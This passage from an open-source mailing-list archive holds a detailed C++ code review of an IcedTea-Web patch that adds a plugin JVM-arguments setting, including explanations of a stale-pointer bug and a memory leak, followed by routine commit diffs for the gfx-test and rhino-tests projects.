WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > +*/ > +package net.sourceforge.jnlp.controlpanel; > + > +import java.awt.Component; > +import java.awt.Dimension; > +import java.awt.GridBagConstraints; > +import java.awt.GridBagLayout; > + > +import javax.swing.Box; > +import javax.swing.JLabel; > +import javax.swing.JTextField; > + > +import net.sourceforge.jnlp.config.DeploymentConfiguration; > +import net.sourceforge.jnlp.runtime.Translator; > + > + at SuppressWarnings("serial") > +public class JVMPanel extends NamedBorderPanel { > + private DeploymentConfiguration config; > + > + JVMPanel(DeploymentConfiguration config) { > + super(Translator.R("CPHeadJVMSettings"), new GridBagLayout()); > + this.config = config; > + addComponents(); > + } > + > + private void addComponents() { > + JLabel description = new JLabel("" + Translator.R("CPJVMPluginArguments") + "
"); > + JTextField testFieldArguments = new JTextField(25); > + > + testFieldArguments.getDocument().addDocumentListener(new DocumentAdapter(config, DeploymentConfiguration.KEY_PLUGIN_JVM_ARGUMENTS)); > + testFieldArguments.setText(config.getProperty(DeploymentConfiguration.KEY_PLUGIN_JVM_ARGUMENTS)); > + > + // Filler to pack the bottom of the panel. > + GridBagConstraints c = new GridBagConstraints(); > + c.fill = GridBagConstraints.BOTH; > + c.weightx = 1; > + c.gridx = 0; > + c.gridy = 0; > + > + this.add(description, c); > + c.gridy++; > + this.add(testFieldArguments, c); > + > + // This is to keep it from expanding vertically if resized. > + Component filler = Box.createRigidArea(new Dimension(1, 1)); > + c.gridy++; > + c.weighty++; > + this.add(filler, c); > + } > +} > diff --git a/netx/net/sourceforge/jnlp/resources/Messages.properties b/netx/net/sourceforge/jnlp/resources/Messages.properties > --- a/netx/net/sourceforge/jnlp/resources/Messages.properties > +++ b/netx/net/sourceforge/jnlp/resources/Messages.properties > @@ -299,6 +299,7 @@ > CPSecurityDescription=Use this to configure security settings. > CPDebuggingDescription=Enable options here to help with debugging > CPDesktopIntegrationDescription=Set whether or not to allow creation of desktop shortcut. > +CPJVMPluginArguments=Set JVM arguments for plugin. > > # Control Panel - Buttons > CPButAbout=About... > @@ -317,6 +318,7 @@ > CPHeadDebugging=Debugging Settings > CPHeadDesktopIntegration=Desktop Integrations > CPHeadSecurity=Security Settings > +CPHeadJVMSettings=JVM Settings > > # Control Panel - Tabs > CPTabAbout=About IcedTea-Web > @@ -328,6 +330,7 @@ > CPTabNetwork=Network > CPTabRuntimes=Runtimes > CPTabSecurity=Security > +CPTabJVMSettings=JVM Settings > > # Control Panel - AboutPanel > CPAboutInfo=This is the control panel for setting deployments.properties.
Not all options will take effect until implemented.
The use of multiple JREs is currently unsupported.
> diff --git a/plugin/icedteanp/IcedTeaNPPlugin.cc b/plugin/icedteanp/IcedTeaNPPlugin.cc > --- a/plugin/icedteanp/IcedTeaNPPlugin.cc > +++ b/plugin/icedteanp/IcedTeaNPPlugin.cc > @@ -243,6 +243,8 @@ > void plugin_send_initialization_message(char* instance, gulong handle, > int width, int height, > char* url); > +/* Returns JVM options set in itw-settings */ > +static std::vector* get_jvm_args(); > > // Global instance counter. > // Mutex to protect plugin_instance_counter. > @@ -1617,48 +1619,61 @@ > PLUGIN_DEBUG ("plugin_start_appletviewer\n"); > NPError error = NPERR_NO_ERROR; > > - gchar** command_line; > - gchar** environment; > - > - int cmd_num = 0; > + std::vector command_line; > + gchar** environment = NULL; > + std::vector* jvm_args = get_jvm_args(); > + int jvm_args_count = jvm_args->size(); If 'jvm_args_count' is only used in the loop below, I think its clearer and more idiomatic to just have jvm_args->size() in the loop condition. > + > if (plugin_debug) > { > - command_line = (gchar**) malloc(sizeof(gchar*)*11); > - command_line[cmd_num++] = g_strdup(appletviewer_executable); > - command_line[cmd_num++] = g_strdup(PLUGIN_BOOTCLASSPATH); > - // set the classpath to avoid using the default (cwd). > - command_line[cmd_num++] = g_strdup("-classpath"); > - command_line[cmd_num++] = g_strdup_printf("%s/lib/rt.jar", ICEDTEA_WEB_JRE); > - command_line[cmd_num++] = g_strdup("-Xdebug"); > - command_line[cmd_num++] = g_strdup("-Xnoagent"); > - if (plugin_debug_suspend) > - { > - command_line[cmd_num++] = g_strdup("-Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=y"); > - } else > - { > - command_line[cmd_num++] = g_strdup("-Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n"); > - } > - command_line[cmd_num++] = g_strdup("sun.applet.PluginMain"); > - command_line[cmd_num++] = g_strdup(out_pipe_name); > - command_line[cmd_num++] = g_strdup(in_pipe_name); > - command_line[cmd_num] = NULL; > + command_line.push_back(std::string(appletviewer_executable)); std::string(..) is not needed here, push_back(appletviewer_executable) suffices. > + > + //Add JVM args to command_line > + for (int i = 0; i < jvm_args_count; i++) > + { > + command_line.push_back(jvm_args->at(i)->c_str()); You are taking a C++ string, returning the C string it holds, and then copying it into a C++ string here :) Simpler: command_line.push_back(jvm_args->at(i)); > + } > + > + command_line.push_back(PLUGIN_BOOTCLASSPATH); > + // set the classpath to avoid using the default (cwd). > + command_line.push_back("-classpath"); > + command_line.push_back(std::string(ICEDTEA_WEB_JRE "/lib/rt.jar")); std::string(..) is not needed here (and inconsistent with the other pushbacks) > + command_line.push_back("-Xdebug"); > + command_line.push_back("-Xnoagent"); > + > + if (plugin_debug_suspend) > + { > + command_line.push_back("-Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=y"); > + } else > + { > + command_line.push_back("-Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n"); > + } Consider doing: std::string debug_flags = "-Xrunjdwp:transport=dt_socket,address=8787,server=y,"; debug_flags += plugin_debug_suspend ? "suspend=y" : "suspend=n"; command_line.push_back(debug_flags); It is easier to tell what effect the argument has this way. > + command_line.push_back("sun.applet.PluginMain"); > + command_line.push_back(out_pipe_name); > + command_line.push_back(in_pipe_name); > } else > { > - command_line = (gchar**) malloc(sizeof(gchar*)*8); > - command_line[cmd_num++] = g_strdup(appletviewer_executable); > - command_line[cmd_num++] = g_strdup(PLUGIN_BOOTCLASSPATH); > - command_line[cmd_num++] = g_strdup("-classpath"); > - command_line[cmd_num++] = g_strdup_printf("%s/lib/rt.jar", ICEDTEA_WEB_JRE); > - command_line[cmd_num++] = g_strdup("sun.applet.PluginMain"); > - command_line[cmd_num++] = g_strdup(out_pipe_name); > - command_line[cmd_num++] = g_strdup(in_pipe_name); > - command_line[cmd_num] = NULL; > + command_line.push_back(std::string(appletviewer_executable)); > + > + //Add JVM args to command_line > + for (int i = 0; i < jvm_args_count; i++) > + { > + command_line.push_back(jvm_args->at(i)->c_str()); Simpler to not unbox the string (ie no c_str()). > + } > + > + command_line.push_back(PLUGIN_BOOTCLASSPATH); > + command_line.push_back("-classpath"); > + command_line.push_back(std::string(ICEDTEA_WEB_JRE "/lib/rt.jar")); std::string(..) should be dropped IMO. > + command_line.push_back("sun.applet.PluginMain"); > + command_line.push_back(out_pipe_name); > + command_line.push_back(in_pipe_name); > } > > environment = plugin_filter_environment(); > - > - if (!g_spawn_async (NULL, command_line, environment, > - (GSpawnFlags) G_SPAWN_DO_NOT_REAP_CHILD, > + gchar **command_line_args = &IcedTeaPluginUtilities::vectorstring_to_vectorgchar(&command_line)[0]; This is partially why I was wary of recommending this solution. This causes memory corruption! Do not point into temporary objects. In C++, a vector should be understood like this ... Say we have this expression: vector(); This is like saying: int* temporary = (int*) malloc (..); free(temporary); And say we have something like this ... int* p = &vector()[0]; It would be: int* temporary = (int*) malloc (..); int* p = temporary; free(temporary); 'p' is now a 'stale pointer'. It points to a memory region that at any time can be reclaimed because it has been freed. (Note that I used malloc and free because I thought they were a little clearer, to be exact 'new int[..]' and 'delete[]' would be used) > + > + if (!g_spawn_async (NULL, command_line_args, environment, > + (GSpawnFlags) G_SPAWN_DO_NOT_REAP_CHILD, > NULL, NULL, &appletviewer_pid, &channel_error)) > { > if (channel_error) > @@ -1673,15 +1688,16 @@ > error = NPERR_GENERIC_ERROR; > } > > - g_strfreev (environment); > - > - for (int i = 0; i < cmd_num; i++) { > - g_free (command_line[i]); > - command_line[i] = NULL; > + //Free memory > + g_strfreev(environment); > + command_line_args = NULL; > + > + for (int i = 0; i < jvm_args_count; i++) > + { > + free(jvm_args->at(i)); Not quite! This leaks memory in a subtle way. An std::string internally has a pointer to string data. This is a bit like doing: char** str = malloc(..); *str = malloc(..); free(str); Correct here is: + delete jvm_args->at(i); This does what is intended, allowing an std::string to manage its memory via its destructor (Makes you appreciate GC more I'm sure :)). However ITW has a method IcedTeaPluginUtilities::freeStringPtrVector for this usage (will also cover the 'delete jvm_args' at the end.) > } > - > - g_free(command_line); > - command_line = NULL; > + delete jvm_args; > + jvm_args = NULL; > > if (appletviewer_pid) > { > @@ -1689,12 +1705,56 @@ > appletviewer_watch_id = g_child_watch_add(appletviewer_pid, (GChildWatchFunc) appletviewer_monitor, (gpointer) appletviewer_pid); > } > > - > PLUGIN_DEBUG ("plugin_start_appletviewer return\n"); > return error; > } > > /* > + * Returns JVM options set in itw-settings > + */ > +static std::vector* > +get_jvm_args() > +{ > + std::vector < std::string> commands; > + gchar *output = NULL; > + std::vector* tokenOutput = NULL; > + > + commands.push_back(appletviewer_executable); > + commands.push_back(PLUGIN_BOOTCLASSPATH); > + commands.push_back("-classpath"); > + commands.push_back(std::string(ICEDTEA_WEB_JRE "/lib/rt.jar")); explicit std::string call a bit out of place here > + commands.push_back("net.sourceforge.jnlp.controlpanel.CommandLine"); > + commands.push_back("get"); > + commands.push_back("deployment.plugin.jvm.arguments"); > + > + gchar **command_line_args = &IcedTeaPluginUtilities::vectorstring_to_vectorgchar(&commands)[0]; See my note above about pointing into temporaries. > + > + if (!g_spawn_sync(NULL, command_line_args, NULL, > + (GSpawnFlags) G_SPAWN_STDERR_TO_DEV_NULL, NULL, NULL, &output, NULL, NULL, > + &channel_error)) > + { > + PLUGIN_ERROR("Failed to get JVM arguments set for plugin."); > + output = NULL; > + } > + > + tokenOutput = IcedTeaPluginUtilities::strSplit(output, " \n"); > + > + if (tokenOutput->size() > 0 > + && strcmp(tokenOutput->at(0)->c_str(), "null") == 0) > + { More idiomatic is: if (!tokenOutput->empty() && *tokenOutput->at(0) == "null") (On another note, I really wish these were just returning vectors-of-strings consistently, these vector-pointers-of-string-pointers are annoying and make it hard to write clean code.) > + free(tokenOutput->at(0)); delete here, see my note above. > + tokenOutput->erase(tokenOutput->begin()); > + } > + > + //Free memory > + g_free(output); > + output = NULL; > + command_line_args = NULL; > + > + return tokenOutput; > +} > + > +/* > * Replaces certain characters (\r, \n, etc) with HTML escape equivalents. > * > * Return string is allocated on the heap. Caller assumes responsibility > diff --git a/plugin/icedteanp/IcedTeaPluginUtils.cc b/plugin/icedteanp/IcedTeaPluginUtils.cc > --- a/plugin/icedteanp/IcedTeaPluginUtils.cc > +++ b/plugin/icedteanp/IcedTeaPluginUtils.cc > @@ -1005,6 +1005,24 @@ > } > > /** > + * Returns a vector of gchar* from the vector string reference > + * @param stringVec The vector of strings reference. > + */ > +std::vector > +IcedTeaPluginUtilities::vectorstring_to_vectorgchar(const std::vector* stringVec) > +{ > + std::vector charVec; > + > + for (int i = 0; i < stringVec->size(); i++) > + { > + gchar* character = (gchar*) stringVec->at(i).c_str(); //cast from const char 'character' isn't a good name here. &stringVec->at(i)[0] would not require the cast -- although, isn't brilliant looking though, the const-dropping cast is probably better here. > + charVec.push_back(character); > + } > + charVec.push_back(NULL); > + return charVec; > +} > + > +/** > * Runs through the async call wait queue and executes all calls > * > * @param param Ignored -- required to conform to NPN_PluginThreadAsynCall API > diff --git a/plugin/icedteanp/IcedTeaPluginUtils.h b/plugin/icedteanp/IcedTeaPluginUtils.h > --- a/plugin/icedteanp/IcedTeaPluginUtils.h > +++ b/plugin/icedteanp/IcedTeaPluginUtils.h > @@ -274,6 +274,9 @@ > > static void decodeURL(const char* url, char** decoded_url); > > + /* Returns a vector of gchar* from the vector string reference*/ > + static std::vector vectorstring_to_vectorgchar(const std::vector* stringVec); > + Should comment here somehow indicating that the gchar* pointers point to the internal std::string data. Specifically whenever returning pointers it should be clear whether they need to be freed. The would use camelCase here too (eg stringVectorAsGcharPointers could be a good name that implies no copying, but it's a little hard to name because it has some nuances to its usage.) > /* Posts call in async queue and waits till execution completes */ > static void callAndWaitForResult(NPP instance, void (*func) (void *), AsyncCallThreadData* data); > }; Good work! Don't get discouraged by the amounts of nits :) It is almost there, and you did get quite a few tricky details correct. Learning different languages is good for the programming-soul :) Happy hacking, -Adam -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121204/b46ceffb/attachment.html From smohammad at redhat.com Tue Dec 4 13:25:07 2012 From: smohammad at redhat.com (Saad Mohammad) Date: Tue, 04 Dec 2012 16:25:07 -0500 Subject: [RFC][icedtea-web]: Set plugin JVM options in itw-settings In-Reply-To: <50BE4E34.6000201@redhat.com> References: <508ED961.4070705@redhat.com> <509130B7.8090508@redhat.com> <50AD1CC6.2060103@redhat.com> <50AD442B.1050903@redhat.com> <50BD206B.8020209@redhat.com> <50BE4E34.6000201@redhat.com> Message-ID: <50BE6A33.5010909@redhat.com> Hi Adam, Thanks for all the tips and tricks around C++. Updated patch is attached! I'm starting to enjoy C++ as things start working more correctly now. :) CHANGELOG ======================================================================== 2012-12-04 Saad Mohammad Added new option in itw-settings which allows users to set JVM arguments when plugin is initialized. * netx/net/sourceforge/jnlp/config/Defaults.java (getDefaults): Added defaults for DeploymentConfiguration.KEY_PLUGIN_JVM_ARGUMENTS. * netx/net/sourceforge/jnlp/config/DeploymentConfiguration.java: Added new property (KEY_PLUGIN_JVM_ARGUMENTS) which stores the value of JVM plugin arguments. * netx/net/sourceforge/jnlp/controlpanel/ControlPanel.java: (createMainSettingsPanel): Added JVM settings to the list of tabs. (createJVMSettingsPanel): Returns a new JVMPanel object. * netx/net/sourceforge/jnlp/controlpanel/JVMPanel.java: JVM settings panel. * netx/net/sourceforge/jnlp/resources/Messages.properties: Added a new items (CPJVMPluginArguments, CPHeadJVMSettings, CPTabJVMSettings). * plugin/icedteanp/IcedTeaNPPlugin.cc: (plugin_start_appletviewer): Adds JVM arguments to the commands line list. (get_jvm_args): Returns JVM arguments set in itw-settings. * plugin/icedteanp/IcedTeaPluginUtils.cc: (IcedTeaPluginUtilities::vectorStringToVectorGchar): New helper method which returns a vector of gchar* from the vector of strings passed. * plugin/icedteanp/IcedTeaPluginUtils.h: Declaration of IcedTeaPluginUtilities::vectorStringToVectorGchar. ======================================================================== -- Cheers, Saad Mohammad -------------- next part -------------- A non-text attachment was scrubbed... Name: changelog0-4.patch Type: text/x-patch Size: 1510 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121204/509d7018/changelog0-4.patch -------------- next part -------------- A non-text attachment was scrubbed... Name: implementation0-4.patch Type: text/x-patch Size: 15140 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121204/509d7018/implementation0-4.patch From ptisnovs at redhat.com Wed Dec 5 01:14:12 2012 From: ptisnovs at redhat.com (Pavel Tisnovsky) Date: Wed, 5 Dec 2012 04:14:12 -0500 (EST) Subject: /hg/icedtea-web: Added browser softkiller and related Makefile. In-Reply-To: <50BD1C17.3070704@redhat.com> Message-ID: <449664328.4234744.1354698852035.JavaMail.root@redhat.com> Hi Saad, thank you very much for detecting this issue. I'll fix ASAP. Cheers, Pavel ----- Saad Mohammad wrote: > Hi Pavel, > > Just one minor issue with this patch, it's breaking 'make clean'. The fix is > very simple, so feel free to directly push. > > Comment below. > > [..snip..] > > diff -r 172a5691e70d -r eedc15145aa6 Makefile.am > > --- a/Makefile.am Fri Nov 30 13:08:45 2012 -0500 > > +++ b/Makefile.am Mon Dec 03 14:43:18 2012 +0100 > > @@ -39,6 +39,7 @@ > > export TEST_CERT_ALIAS=icedteaweb > > export PUBLIC_KEYSTORE=${HOME}/.icedtea/security/trusted.certs > > export PUBLIC_KEYSTORE_PASS=changeit > > +export SOFTKILLER=softkiller > > > > export JUNIT_RUNNER_JAR=$(abs_top_builddir)/junit-runner.jar > > export UNIT_CLASS_NAMES = $(abs_top_builddir)/unit_class_names > > @@ -808,9 +809,14 @@ > > done ; \ > > echo $$class_names > $(REPRODUCERS_CLASS_NAMES) > > > > +$(TESTS_DIR)/$(SOFTKILLER): > > + cd $(TESTS_SRCDIR)/$(SOFTKILLER); \ > > + $(MAKE) ; \ > > + mv $(SOFTKILLER) $(TESTS_DIR)/ > > + > > stamps/run-netx-dist-tests.stamp: stamps/netx-dist.stamp extra-lib/about.jar stamps/plugin.stamp launcher.build/$(javaws) \ > > javaws.desktop stamps/docs.stamp launcher.build/$(itweb_settings) itweb-settings.desktop \ > > - stamps/netx.stamp stamps/junit-jnlp-dist-dirs stamps/netx-dist-tests-import-cert-to-public \ > > + stamps/netx.stamp stamps/junit-jnlp-dist-dirs stamps/netx-dist-tests-import-cert-to-public $(TESTS_DIR)/softkiller \ > > stamps/test-extensions-compile.stamp stamps/compile-reproducers-testcases.stamp $(JUNIT_RUNNER_JAR) stamps/copy-reproducers-resources.stamp\ > > $(TESTS_DIR)/$(REPORT_STYLES_DIRNAME) $(REPRODUCERS_CLASS_NAMES) stamps/process-custom-reproducers.stamp > > cd $(TEST_EXTENSIONS_DIR) ; \ > > @@ -1191,7 +1197,10 @@ > > rm -rf $(TESTS_DIR)/$(REPORT_STYLES_DIRNAME)/ > > rm -f $(TESTS_DIR)/*.html > > > > -clean-netx-dist-tests: clean_tests_reports netx-dist-tests-remove-cert-from-public clean-custom-reproducers > > +clean-$(SOFTKILLER): > > + rm $(TESTS_DIR)/softkiller > > Please add the '-f' option so we can avoid any errors if the file does not exist. > > [..snip..] > > Thanks! And great patch by the way! > > -- > Cheers, > Saad Mohammad From ptisnovs at icedtea.classpath.org Wed Dec 5 01:28:20 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Wed, 05 Dec 2012 09:28:20 +0000 Subject: /hg/gfx-test: Added nine helper methods used by tests into src/o... Message-ID: changeset 7dfa0fae6a86 in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=7dfa0fae6a86 author: Pavel Tisnovsky date: Wed Dec 05 10:31:21 2012 +0100 Added nine helper methods used by tests into src/org/gfxtest/testsuites/BitBltUsingBgColor.java. diffstat: ChangeLog | 5 + src/org/gfxtest/testsuites/BitBltUsingBgColor.java | 153 +++++++++++++++++++++ 2 files changed, 158 insertions(+), 0 deletions(-) diffs (175 lines): diff -r 1f29a0e79a5f -r 7dfa0fae6a86 ChangeLog --- a/ChangeLog Tue Dec 04 09:50:03 2012 +0100 +++ b/ChangeLog Wed Dec 05 10:31:21 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-05 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltUsingBgColor.java: + Added nine helper methods used by tests. + 2012-12-04 Pavel Tisnovsky * src/org/gfxtest/testsuites/Paths.java: diff -r 1f29a0e79a5f -r 7dfa0fae6a86 src/org/gfxtest/testsuites/BitBltUsingBgColor.java --- a/src/org/gfxtest/testsuites/BitBltUsingBgColor.java Tue Dec 04 09:50:03 2012 +0100 +++ b/src/org/gfxtest/testsuites/BitBltUsingBgColor.java Wed Dec 05 10:31:21 2012 +0100 @@ -133,6 +133,159 @@ } /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_ARGB + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeIntARGB(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_INT_ARGB, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_ARGB_PRE + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeIntARGBPre(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_INT_ARGB_PRE, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeIntBGR(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_INT_BGR, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_RGB + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeIntRGB(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_INT_RGB, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_BYTE_BINARY + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeByteBinary(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_BYTE_BINARY, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_BYTE_GRAY + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeByteGray(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_BYTE_GRAY, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_USHORT_555_RGB + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeUshort555RGB(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_USHORT_555_RGB, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_USHORT_565_RGB + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeUshort565RGB(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_USHORT_565_RGB, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_USHORT_GRAY + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeUshortGRAY(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_USHORT_GRAY, backgroundColor); + } + + /** * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. * Background color is set to Color.black. * From ptisnovs at icedtea.classpath.org Wed Dec 5 01:46:54 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Wed, 05 Dec 2012 09:46:54 +0000 Subject: /hg/rhino-tests: Fixed names of two tests in Makefile. Fixed com... Message-ID: changeset dea9193daa78 in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=dea9193daa78 author: Pavel Tisnovsky date: Wed Dec 05 10:49:56 2012 +0100 Fixed names of two tests in Makefile. Fixed compiler warnings. diffstat: ChangeLog | 14 ++++++++++++++ Makefile | 4 ++-- src/org/RhinoTests/BindingsClassTest.java | 2 ++ src/org/RhinoTests/CompilableClassTest.java | 2 ++ src/org/RhinoTests/InvocableClassTest.java | 4 +++- src/org/RhinoTests/ScriptContextClassTest.java | 2 ++ src/org/RhinoTests/ScriptEngineClassTest.java | 2 ++ src/org/RhinoTests/ScriptEngineFactoryClassTest.java | 2 ++ src/org/RhinoTests/ScriptEngineTest.java | 2 +- src/org/RhinoTests/SimpleBindingsTest.java | 4 ++-- 10 files changed, 32 insertions(+), 6 deletions(-) diffs (190 lines): diff -r d2384fcf357a -r dea9193daa78 ChangeLog --- a/ChangeLog Tue Dec 04 10:07:05 2012 +0100 +++ b/ChangeLog Wed Dec 05 10:49:56 2012 +0100 @@ -1,3 +1,17 @@ +2012-12-05 Pavel Tisnovsky + + * Makefile: + Fixed names of two tests. + * src/org/RhinoTests/BindingsClassTest.java: + * src/org/RhinoTests/CompilableClassTest.java: + * src/org/RhinoTests/InvocableClassTest.java: + * src/org/RhinoTests/ScriptContextClassTest.java: + * src/org/RhinoTests/ScriptEngineClassTest.java: + * src/org/RhinoTests/ScriptEngineFactoryClassTest.java: + * src/org/RhinoTests/ScriptEngineTest.java: + * src/org/RhinoTests/SimpleBindingsTest.java: + Fixed compiler warnings. + 2012-12-04 Pavel Tisnovsky * src/org/RhinoTests/CompiledScriptTest.java: diff -r d2384fcf357a -r dea9193daa78 Makefile --- a/Makefile Tue Dec 04 10:07:05 2012 +0100 +++ b/Makefile Wed Dec 05 10:49:56 2012 +0100 @@ -70,8 +70,8 @@ ScriptContextClassTest \ ScriptExceptionTest \ ScriptExceptionClassTest \ - SimpleBindingsTests \ - SimpleBindingsClassTests \ + SimpleBindingsTest \ + SimpleBindingsClassTest \ SimpleScriptContextTest \ SimpleScriptContextClassTest \ AbstractScriptEngineClassTest diff -r d2384fcf357a -r dea9193daa78 src/org/RhinoTests/BindingsClassTest.java --- a/src/org/RhinoTests/BindingsClassTest.java Tue Dec 04 10:07:05 2012 +0100 +++ b/src/org/RhinoTests/BindingsClassTest.java Wed Dec 05 10:49:56 2012 +0100 @@ -273,6 +273,7 @@ */ protected void testGetConstructors() { // map of constructors which should exists + @SuppressWarnings("unused") Map testedConstructors = null; Map testedConstructors_jdk6 = new HashMap(); Map testedConstructors_jdk7 = new HashMap(); @@ -294,6 +295,7 @@ */ protected void testGetDeclaredConstructors() { // map of constructors which should exists + @SuppressWarnings("unused") Map testedConstructors = null; Map testedConstructors_jdk6 = new HashMap(); Map testedConstructors_jdk7 = new HashMap(); diff -r d2384fcf357a -r dea9193daa78 src/org/RhinoTests/CompilableClassTest.java --- a/src/org/RhinoTests/CompilableClassTest.java Tue Dec 04 10:07:05 2012 +0100 +++ b/src/org/RhinoTests/CompilableClassTest.java Wed Dec 05 10:49:56 2012 +0100 @@ -274,6 +274,7 @@ */ protected void testGetConstructors() { // map of constructors which should exists + @SuppressWarnings("unused") Map testedConstructors = null; Map testedConstructors_jdk6 = new HashMap(); Map testedConstructors_jdk7 = new HashMap(); @@ -295,6 +296,7 @@ */ protected void testGetDeclaredConstructors() { // map of constructors which should exists + @SuppressWarnings("unused") Map testedConstructors = null; Map testedConstructors_jdk6 = new HashMap(); Map testedConstructors_jdk7 = new HashMap(); diff -r d2384fcf357a -r dea9193daa78 src/org/RhinoTests/InvocableClassTest.java --- a/src/org/RhinoTests/InvocableClassTest.java Tue Dec 04 10:07:05 2012 +0100 +++ b/src/org/RhinoTests/InvocableClassTest.java Wed Dec 05 10:49:56 2012 +0100 @@ -93,7 +93,7 @@ * Test for method javax.script.Invocable.getClass().isInstance() */ protected void testIsInstance() { - assertTrue(this.invocableClass.isInstance((Invocable)(new ScriptEngineManager().getEngineByName(Constants.EngineNames.ENGINE_NAME_JavaScript))), + assertTrue(this.invocableClass.isInstance((new ScriptEngineManager().getEngineByName(Constants.EngineNames.ENGINE_NAME_JavaScript))), "Method Invocable.getClass().isInstance() returns wrong value"); } @@ -273,6 +273,7 @@ */ protected void testGetConstructors() { // map of constructors which should exists + @SuppressWarnings("unused") Map testedConstructors = null; Map testedConstructors_jdk6 = new HashMap(); Map testedConstructors_jdk7 = new HashMap(); @@ -294,6 +295,7 @@ */ protected void testGetDeclaredConstructors() { // map of constructors which should exists + @SuppressWarnings("unused") Map testedConstructors = null; Map testedConstructors_jdk6 = new HashMap(); Map testedConstructors_jdk7 = new HashMap(); diff -r d2384fcf357a -r dea9193daa78 